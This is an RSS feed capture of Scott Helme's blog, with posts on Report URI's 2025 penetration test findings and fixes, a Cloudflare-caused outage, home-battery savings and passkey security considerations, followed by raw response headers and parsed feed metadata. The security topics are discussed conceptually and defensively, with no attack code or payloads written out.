    <p> </p><p>Of course, at some point during that period, the effective value of the installation will reduce to almost &#xA3;0, and we have to consider that, but it&apos;s doing pretty darn good. If we hadn&apos;t needed to add that third Powerwall, this would have been so much better too. We&apos;ll see what the future holds, but with the inevitable and continued rise of energy costs, and talk of moving the standing charge on to our unit rate, things might look even better in the future.</p><p></p><h4 id="onwards-to-2026">Onwards to 2026!</h4><p>Now that we have everything properly set up, and I&apos;m happy with all of our Home Assistant automations, we&apos;re going to see how 2026 goes. I will definitely circle back in a year from now and see how the numbers played out, and until then, I hope the information here has been useful or interesting &#x1F44D;</p><p></p>]]></content:encoded></item><item><title><![CDATA[Report URI Penetration Test 2025]]></title><description><![CDATA[<p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> which is to conduct our annual penetration test! </p><p>&#x1F385;&#x1F384;&#x1F381; --&gt; &#x1FA7B;&#x1F510;&#x1F977;</p><p>This will be our 6th annual penetration test that we&apos;ve posted completely publicly,</p>]]></description><link>https://scotthelme.ghost.io/report-uri-penetration-test-2025/</link><guid isPermaLink="false">693822108d605500017a6622</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Penetration Test]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 15 Dec 2025 15:36:37 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/report-uri-penetration-test.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/report-uri-penetration-test.webp" alt="Report URI Penetration Test 2025"><p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> which is to conduct our annual penetration test! </p><p>&#x1F385;&#x1F384;&#x1F381; --&gt; &#x1FA7B;&#x1F510;&#x1F977;</p><p>This will be our 6th annual penetration test that we&apos;ve posted completely publicly, just as before, and we&apos;ll be covering a full run down of what was found and what we&apos;ve done about it. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1915" height="356" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/image.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image.png 1915w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="penetration-tests">Penetration Tests</h4><p>If you find this post interesting or would like to see our previous reports, then here are the links to each and every one of those!</p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2020/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2020</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2021</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2022/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2022</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2023/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2023</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2024/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Penetration Test 2024</a></p><p></p><h4 id="the-results">The Results</h4><p>2025 has been another good year for us as we&apos;ve continued to focus on the security of our product, and the results of the test show that. Not only have we added a bunch of new features, we&apos;ve also made some significant changes to our infrastructure and made countless changes and improvements to existing functionality too. The tester had what was effectively an unlimited scope to target the application, a full &apos;guidebook&apos; on how to get up and running with our product and a demo call to ensure all required knowledge was handed over before the test. We wanted them to hit the ground running and waste no time getting stuck in.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-1.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="724" height="409" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-1.png 724w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Finding an Info rated issue, three Low rated and a Medium severity issue definitely gives us something to talk about, so let&apos;s look at that Medium severity first. </p><p></p><h4 id="csv-formula-injection">CSV Formula Injection</h4><p>The entire purpose of our service is to ingest user-generated data and then display that in some way. Every single telemetry report we process comes from either a browser or a mail server, and the entire content, whilst conforming to a certain schema, is essentially free in terms of the values of fields. We have historically focused on, and thus far prevented, XSS from creeping it&apos;s way in, but this bug takes a slightly different form. </p><p>Earlier this year, June 11th to be exact, we released a new feature that allowed for a raw export of telemetry data. This was a commonly requested feature from our customers and we provided two export formats for the data, the native JSON that telemetry is ingested in, or a CSV variant too. You can see the export feature being used here on CSP Reports.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-2.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1553" height="543" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-2.png 1553w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Because the data export is a raw export, we are providing the telemetry payloads that we received from the browser or email server, just as you would have received them if you collected them yourself. It turns out that as these fields obviously contain user generated data, and you can do some trickery!</p><p>The specific example given by the tester uses a NEL report, but it&apos;s not a problem specific to NEL reports, it&apos;s possible across all of our telemetry. Looking at the example in the report, you can see how the tester crafted a specific payload:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-3.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1005" height="671" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-3.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-3.png 1005w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This <code>type</code> value contains an Excel command that will make it through to the CSV export as it represents the raw value sent by the client. The steps to leverage this are pretty convoluted, but I will quickly summarise them here by using an example if you want to target my good friend <a href="https://troyhunt.com/?ref=scotthelme.ghost.io" rel="noreferrer">Troy Hunt</a>, who runs <a href="https://haveibeenpwned.com/?ref=scotthelme.ghost.io" rel="noreferrer">Have I Been Pwned</a> which indeed uses Report URI.</p><ol><li>Identify the subdomain that Troy uses on our service, which is public information. </li><li>Send telemetry events to that endpoint with specifically crafted payloads which will be processed in to Troy&apos;s account.</li><li>Troy would then need to view that data in our UI, and for any reason wish to export that data as a CSV file. </li><li>Then, Troy would have to open that CSV file specifically in Excel, and bypass the two security warnings presented when opening the file. </li></ol><p></p><p>There are a couple of points in there that require some very specific actions from Troy, and the chances of all of those things happening are a little far-fetched, but still, we gave it a lot of consideration. The problem I had is that the export is raw, it&apos;s meant to be an export of what the browser or email server provided to us so you have a verbatim copy of the raw data. Sanitising that data is also tricky as there isn&apos;t a universal way to sanitise CSV because it depends on what application you&apos;re going to open it with, something I discovered when testing out our fix!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-4.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1140" height="582" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-4.png 1140w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Our current approach is to add a single quote to the start of the value if we detect that the first non-whitespace character is a potentially dangerous character, and that seems to have reliably solved the issue. I&apos;m happy to hear feedback on this approach, or alternative suggestions, so drop by the comments below if you can contribute!</p><p></p><h4 id="vulnerabilities-in-outdated-dependencies">Vulnerabilities in Outdated Dependencies </h4><p>Not again! Actually, I&apos;m pretty happy with the finding here, but I will explain both of the issues raised and what we did and didn&apos;t do about them. </p><h6 id="bootstrap-v3x">Bootstrap v3.x</h6><p>The last version of Bootstrap 3 was v3.4.1 which did have an XSS vulnerability present (<a href="https://security.snyk.io/package/npm/bootstrap/3.4.1?ref=scotthelme.ghost.io" rel="noreferrer">source</a>). We have since cloned v3.4.1 and patched it up to v3.4.4 ourselves to fix various issues that have been found, including the XSS issue raised here. The issue is still flagged in v3.x though, which is why it was flagged in our custom patched version, so in reality, there is no problem here and we&apos;re happy to keep using our own version. </p><h6 id="jquery-cookie-v141">jQuery Cookie v1.4.1</h6><p>Another tricky one because the Snyk data that we refer to lists no vulnerability in this library (<a href="https://security.snyk.io/package/npm/jquery.cookie/1.4.1?ref=scotthelme.ghost.io" rel="noreferrer">source</a>) which is why our own tooling hasn&apos;t flagged this to us. That said, the NVD does list a CVE for this version of the jQuery Cookie plugin (<a href="https://nvd.nist.gov/vuln/detail/cve-2022-23395?ref=scotthelme.ghost.io" rel="noreferrer">source</a>) but I can&apos;t find other data to back that up, including their own link to Snyk which doesn&apos;t list a vulnerability. Rather than spend too much time on this for what is a relatively simple plugin, we decided to remove it and implement the functionality that we need ourselves, solving the problem.</p><p></p><p>With both of those issues addressed, I&apos;m happy to say that we can consider this as resolved too.</p><p></p><h4 id="insufficient-session-expiration">Insufficient Session Expiration</h4><p>This issue has been raised previously in our <a href="https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk" rel="noreferrer">2021 penetration test</a>, and our position remains similar to what it was back then. Whilst I&apos;m leaning towards 24 hours being on the top end, and we will probably bring this down shortly, I also feel like the recommended 20 minutes is just too short. Going away from your desk for a coffee break and returning to find you&apos;ve been logged out just seems a little bit too aggressive for us.</p><p>Looking at the other suggested concerns, if you have malware running on your endpoint, or someone gains physical access to extract a session cookie, I feel like you probably have much bigger concerns to address too! Overall, I acknowledge the issue raised and we&apos;re currently thinking something in the 12-18 hours range might be better suited. </p><p></p><h4 id="insecure-tls-configuration">Insecure TLS Configuration
    </h4><p>You could argue that I know a thing or two about TLS configuration, heck, you can even attend my <a href="https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io" rel="noreferrer">training course</a> on it if you like! The issue that somebody like a pen tester coming in from the outside is that they&apos;re always going to lack the specific context on why we made the configuration choices we did, and I also recognise that it&apos;s very hard to give generic advice that fits all situations. </p><p>We have priority in our cipher suite list for all of the best cipher suites as some of the first choices, and we have support for the latest protocol versions too. We&apos;re doing so well in fact that we get an A grade on the SSL Labs test (<a href="https://www.ssllabs.com/ssltest/analyze.html?d=helios.report-uri.com&amp;ref=scotthelme.ghost.io" rel="noreferrer">results</a>):</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-5.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1284" height="671" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-5.png 1284w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I&apos;m happy with where our current configuration is but as always, we will keep it in constant review as time goes by!</p><p></p><h4 id="no-account-lockout-or-timeout-mechanism">No Account Lockout or Timeout Mechanism
    </h4><p>This is a controversial topic and it&apos;s quite interesting to see it come up because we specifically cover this in the <a href="https://www.troyhunt.com/workshops/?ref=scotthelme.co.uk" rel="noreferrer">Hack Yourself First</a> workshop that I deliver alongside Troy Hunt! I absolutely recognise the goal that a mechanism like this would be trying to achieve, but I worry about the potential negative side-effects.</p><p>Using account enumeration it&apos;s often trivial to determine if someone has an account on our service, so you might be able to determine that [email protected] is indeed registered. You then may want to start guessing different passwords to try and log in to Troy&apos;s account, and there lies the problem. How many times should you be able to sit there and guess a password before something happens? An account lockout mechanism might work along the lines of saying &apos;after 5 unsuccessful login attempts we will lock the account and require a password reset&apos;, or perhaps say &apos;after 5 unsuccessful login attempts you will not be able to login again for 3 minutes&apos;. Both of these would stop the attacker from making significant progress, but both of them also present an opportunity to be abused by an attacker too. The attacker can now sit and make repeated login attempts to Troy&apos;s account and keep it in a perpetually locked state, denying him the use of his account, a Denial-of-Service attack (DoS)! It&apos;s for this reason I&apos;m generally not fond of these account lockout / account suspension mechanisms, they do provide an opportunity for abuse. </p><p>Instead, we rely on a different set of protections to try and limit the impact of attacks like these. </p><ol><li>We implement incredibly strict rate-liming on sensitive endpoints, including our authentication endpoints. This would slow an attacker down so the rate at which they could make guesses would be reduced. (This was disabled for the client IP addresses used by the tester)</li><li>We utilise Cloudflare&apos;s Bot Management across our application, which includes authentication flows, and if there is any reasonable suspicion that the client is a bot or in some way automated, they would be challenged. This prevents attackers from automating their attacks, ultimately slowing them down. (This was disabled for the client IP addresses used by the tester)</li><li>We have taken exceptional measures around password security. We require strong and complex passwords for our service, check for commonly used passwords against the Pwned Passwords API, use zxcvbn for strength testing, and more. This makes it highly unlikely that the password being guessed could be guessed easily, and you can read the full details on our password security measures <a href="https://scotthelme.co.uk/boosting-account-security-pwned-passwords-and-zxcvbn/?ref=scotthelme.ghost.io" rel="noreferrer">here</a>.</li><li>We support, and have a very high adoption of, 2FA across our service. This means that there&apos;s a very good chance that if the attacker was able to guess a password, the next prompt would be to input the TOTP code from the authenticator app!</li></ol><p>Given the above concerns around lockout mechanisms, and the additional measures we have in place, I continue to remain happy with our current position but we will always review these things on an ongoing basis. </p><p></p><h4 id="thats-a-wrap">That&apos;s a wrap!</h4><p>Given how much continued development we see in the product, and how much our infrastructure is evolving over time, I&apos;m really pleased to see that our continued efforts to maintain the security of our product, and ultimately our customer&apos;s data, has paid off. </p><p>As we look forward to 2026 our &quot;Development Horizon&quot; project board is loaded with cool new features and updates, so be sure to keep an eye out for the exciting new things we have coming!</p><p>If you want to download a copy of our report, the latest report is always available and linked in the <a href="https://report-uri.com/?ref=scotthelme.ghost.io#footer" rel="noreferrer">footer of our site</a>!</p><p></p>]]></content:encoded></item><item><title><![CDATA[Report URI - outage update]]></title><description><![CDATA[<p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went</p>]]></description><link>https://scotthelme.ghost.io/report-uri-outage-update/</link><guid isPermaLink="false">691dee03d9c78000011bd122</guid><category><![CDATA[Report URI]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 19 Nov 2025 21:24:19 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri-down.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri-down.webp" alt="Report URI - outage update"><p>This is not a blog post that anybody ever wants to write, but we had some service issues yesterday and now the dust has settled, I wanted to provide an update on what happened. The good news is that the interruption was very minor in the end, and likely went unnoticed by most of our customers. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri---wide-1.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/report-uri---wide-1.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-happened">What happened?</h4><p>I&apos;m sure that many of you are already aware of the issues that Cloudflare experienced yesterday, and their post-mortem is now available <a href="https://blog.cloudflare.com/18-november-2025-outage/?ref=scotthelme.ghost.io" rel="noreferrer">on their blog</a>. It&apos;s always tough to have service issues, but as expected Cloudflare handled it well and were transparent throughout. As a customer of Cloudflare that uses many of their services, the Cloudflare outage unfortunately had an impact on our service too. Because of the unique way that our service operates, <strong><em>our subsequent service issues did not have any impact on the websites or operations of our customers</em></strong>. What we do have to recognise, though, is that we may have missed some telemetry events for a short period of time.</p><p></p><h4 id="our-infrastructure">Our infrastructure</h4><p>Because all of the telemetry events sent to us have to pass through Cloudflare first, when Cloudflare were experiencing their service issues, it did prevent telemetry from reaching our servers. If we take a look at the bandwidth for one of our many telemetry ingestion servers, we can clearly see the impact.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="991" height="280" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/ingestion-server.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server.png 991w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the graph from the Cloudflare blog showing their 500 error levels, we have a near perfect alignment with us not receiving telemetry during their peak error rates.</p><p></p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/image.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="1507" height="733" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/11/image.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/image.png 1507w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">source: Cloudflare</span></figcaption></figure><p></p><p>The good news here, as mentioned above, is that even if a browser can&apos;t reach our service and send the telemetry to us, it has no negative impact on our customer&apos;s websites, at all, as the browser will simply continue to load the page and try to send the telemetry again later. This is a truly unique scenario where we can have a near total service outage and it&apos;s unlikely that a single customer even noticed because we have no negative impact on their application.</p><p></p><h4 id="the-recovery">The recovery</h4><p>Cloudflare worked quickly to bring their service troubles under control and things started to return to normal for us around 14:30 UTC. We could see our ingestion servers start to receive telemetry again, and we started to receive much more than usual. Here&apos;s that same view for the server above.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server-2.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="997" height="285" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/ingestion-server-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/ingestion-server-2.png 997w" sizes="(min-width: 720px) 720px"></figure><p></p><p>If we take a look at the aggregate inbound telemetry for our whole service, we were comfortably receiving twice our usual volume of telemetry data.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/global-telemetry.png" class="kg-image" alt="Report URI - outage update" loading="lazy" width="994" height="282" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/11/global-telemetry.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/11/global-telemetry.png 994w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This is a good thing and shows that the browsers that had previously tried to dispatch telemetry to us and had failed were now retrying and succeeding. We did keep a close eye on the impact that this level of load was having, and we managed it well, with the load tailing off to our normal levels overnight. Whilst this recovery was really good to see, we have to acknowledge that there will inevitably be telemetry that was dropped during this time, and it&apos;s difficult to accurately gauge how much. If the telemetry event was retried successfully by the browser, or the problem also existed either before or after this outage, we will have still processed the event and taken any necessary action. </p><p></p><h4 id="looking-forwards">Looking forwards</h4><p>I&apos;ve always talked openly about our infrastructure at Report URI, even blogging in detail about the issues we&apos;ve faced and the changes we&apos;ve made as a result, much as I am doing here. We depend on several other service providers to build our service, including Cloudflare for CDN/WAF, DigitalOcean for VPS/compute and Microsoft Azure for storage, but sometimes even the big players will have their own problems, just like AWS did recently too. </p><p>Looking back on this incident now, whilst it was a difficult process for us to go through, I believe we&apos;re still making the best choices for Report URI and our customers. The likelihood of us being able to build our own service that rivals the benefits that Cloudflare provides is zero, and looking at other service providers to migrate to seems like a knee-jerk overreaction. I&apos;m not looking for service providers that promise to never have issues, I&apos;m looking for service providers that will respond quickly and transparently when they inevitably do have an issue, and Cloudflare have demonstrated that again. It&apos;s also this same desire for transparency and honesty that has driven me to write this blog post to inform you that it is likely we missed some of your telemetry events yesterday, and that we continue to consider how we can improve our service further going forwards.</p><p></p>]]></content:encoded></item></channel></rss>
    Raw headers
    {
      "age": "171259",
      "alt-svc": "clear",
      "cache-control": "public, max-age=0",
      "cf-cache-status": "DYNAMIC",
      "cf-ray": "9f3db925566f5751-CMH",
      "connection": "keep-alive",
      "content-type": "application/rss+xml; charset=utf-8",
      "date": "Wed, 29 Apr 2026 10:46:29 GMT",
      "etag": "W/\"37782-lOvDDfafmi0NkaxoyCes4iayMv0\"",
      "ghost-fastly": "true;production",
      "server": "cloudflare",
      "status": "200 OK",
      "transfer-encoding": "chunked",
      "vary": "Cookie",
      "via": "1.1 varnish, 1.1 varnish, 1.1 varnish",
      "x-cache": "MISS, HIT, HIT",
      "x-cache-hits": "0, 36, 0",
      "x-request-id": "1db99b33-07f9-4ae0-9864-a60a99371ddf",
      "x-served-by": "cache-ams2100130-AMS, cache-ams2100100-AMS, cache-cmh1290126-CMH",
      "x-timer": "S1777459590.993550,VS0,VE2"
    }
    Parsed with @rowanmanning/feed-parser
    {
      "meta": {
        "type": "rss",
        "version": "2.0"
      },
      "language": null,
      "title": "Scott Helme",
      "description": "Hi, I'm Scott Helme, a Security Researcher, Entrepreneur and International Speaker. I'm the creator of Report URI and Security Headers, and I deliver world renowned training on Hacking and Encryption.",
      "copyright": null,
      "url": "https://scotthelme.ghost.io/",
      "self": "https://scotthelme.ghost.io/rss/",
      "published": null,
      "updated": "2026-04-27T11:12:10.000Z",
      "generator": {
        "label": "Ghost 6.34",
        "version": null,
        "url": null
      },
      "image": {
        "title": "Scott Helme",
        "url": "https://scotthelme.ghost.io/favicon.png"
      },
      "authors": [],
      "categories": [],
      "items": [
        {
          "id": "697a56f703d4840001b00ea1",
          "title": "Security considerations when using Passkeys on your website",
          "description": "<p>Passkeys are awesome and that's why we implemented them on Report URI! You can <a href=\"https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we're going to focus on what security considerations you should have</p>",
          "url": "https://scotthelme.ghost.io/security-considerations-when-using-passkeys-on-your-website/",
          "published": "2026-04-22T13:37:22.000Z",
          "updated": "2026-04-22T13:37:22.000Z",
          "content": "<img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/scott-blog-passkey-header.jpg\" alt=\"Security considerations when using Passkeys on your website\"><p>Passkeys are awesome and that's why we implemented them on Report URI! You can <a href=\"https://scotthelme.co.uk/launching-passkeys-support-on-report-uri/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">read about our implementation here</a> and get the basics on how Passkeys work and why you want them. In this post, we're going to focus on what security considerations you should have once you start using Passkeys and we've produced a whitepaper for you to take away that contains valuable information.</p><p></p><figure class=\"kg-card kg-image-card\"><a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png\" class=\"kg-image\" alt=\"Security considerations when using Passkeys on your website\" loading=\"lazy\" width=\"974\" height=\"141\" srcset=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-2.png 974w\" sizes=\"(min-width: 720px) 720px\"></a></figure><p></p><h3 id=\"what-passkeys-actually-protect\">What passkeys actually protect</h3><p>Passkeys are built on WebAuthn and use asymmetric cryptography, offering some incredibly strong protections. The user’s device generates a key pair, the public key is registered with a service like <a href=\"https://report-uri.com/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">Report URI</a>, and the private key remains protected on the device, often inside secure hardware like a TPM. During authentication, the server issues a challenge and the device signs it after 'user verification', typically biometrics or a PIN. This model gives passkeys some very strong security properties! </p><p>First, there is no shared secret for an attacker to steal from the server and replay elsewhere because only the public key is stored with the service. This means that Report URI isn't storing anything sensitive related to Passkeys.</p><p>Second, the credential is bound to the correct origin, which makes phishing dramatically less effective. The browser or other device that registered the Passkey knows exactly where it was registered, so a user can't be tricked into using it in the wrong place.</p><p>Third, each authentication is challenge-based, which prevents replay, so even if an attacker could capture an authentication flow, it couldn't be used again later.</p><p>Fourth and finally, the private key is not exposed to JavaScript running in the page! 🎉</p><p>All of that is awesome and each point provides valuable protection. If your threat model includes password reuse, credential stuffing, password spraying, or fake login pages, then Passkeys are a direct and effective improvement.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/user-key-duotone-solid-1.png\" class=\"kg-image\" alt=\"Security considerations when using Passkeys on your website\" loading=\"lazy\" width=\"256\" height=\"256\"></figure><p></p><h3 id=\"where-the-threat-model-shifts\">Where the threat model shifts</h3><p>What passkeys do not do is make the authenticated application trustworthy by default. Once the user has successfully authenticated, most applications establish a session using a cookie or token (probably a cookie). The Passkey is helping to solve the problem of reliably authenticating the user, but once that step is complete, we're still falling back to a traditional cookie! Strong passwords, 2FA, Passkeys, and everything else we do all still end up with a cookie(?!). </p><p>The question then remains \"Can the attacker abuse the authenticated state?\", and this is where traditional attacks like XSS and CSRF remain a real threat. Let's look at a few examples of the kind of things that can go wrong:</p><p>The first is \"session hijacking\" (sometimes called \"session riding\"). If session tokens are accessible, XSS may steal them. Even if they are protected with <code>HttpOnly</code>, malicious code can still perform actions inside the victim’s authenticated browser without needing to extract the cookie itself!</p><p>The second is malicious passkey registration. Let's be crystal clear, XSS cannot extract the victim’s private key or forge WebAuthn responses, but it may still be used to manipulate the user into approving registration of a passkey in an attacker-controlled environment. That creates persistence without breaking WebAuthn itself.</p><p>The third is transaction manipulation. This is one of the clearest examples of the gap between strong authentication and trustworthy application behaviour. A user may authenticate securely with a Passkey, but malicious JavaScript can still alter transaction parameters in the page or intercept API requests before submission. The user thinks they approved one action, while the application processes another, and we had probably the best example ever of that with the <a href=\"https://www.bbc.co.uk/news/articles/c2kgndwwd7lo?ref=scotthelme.ghost.io\" rel=\"noreferrer\">ByBit hack that cost them $1.4 billion dollars</a>!</p><p>To clarify, none of these are Passkey failures, they're application failures, but a good example of the risks that remain.</p><p></p><figure class=\"kg-card kg-image-card\"><img src=\"https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/square-js-brands-solid.png\" class=\"kg-image\" alt=\"Security considerations when using Passkeys on your website\" loading=\"lazy\" width=\"256\" height=\"256\"></figure><p></p><h3 id=\"defence-in-depth\">Defence in depth! </h3><p>Especially after deploying Passkeys, we should continue to maintain a strong focus on protecting against XSS (Cross-Site Scripting). We saw that yet again XSS was the <a href=\"https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io\" rel=\"noreferrer\">#1 Top Threat of 2025</a>, so we still have a little way to 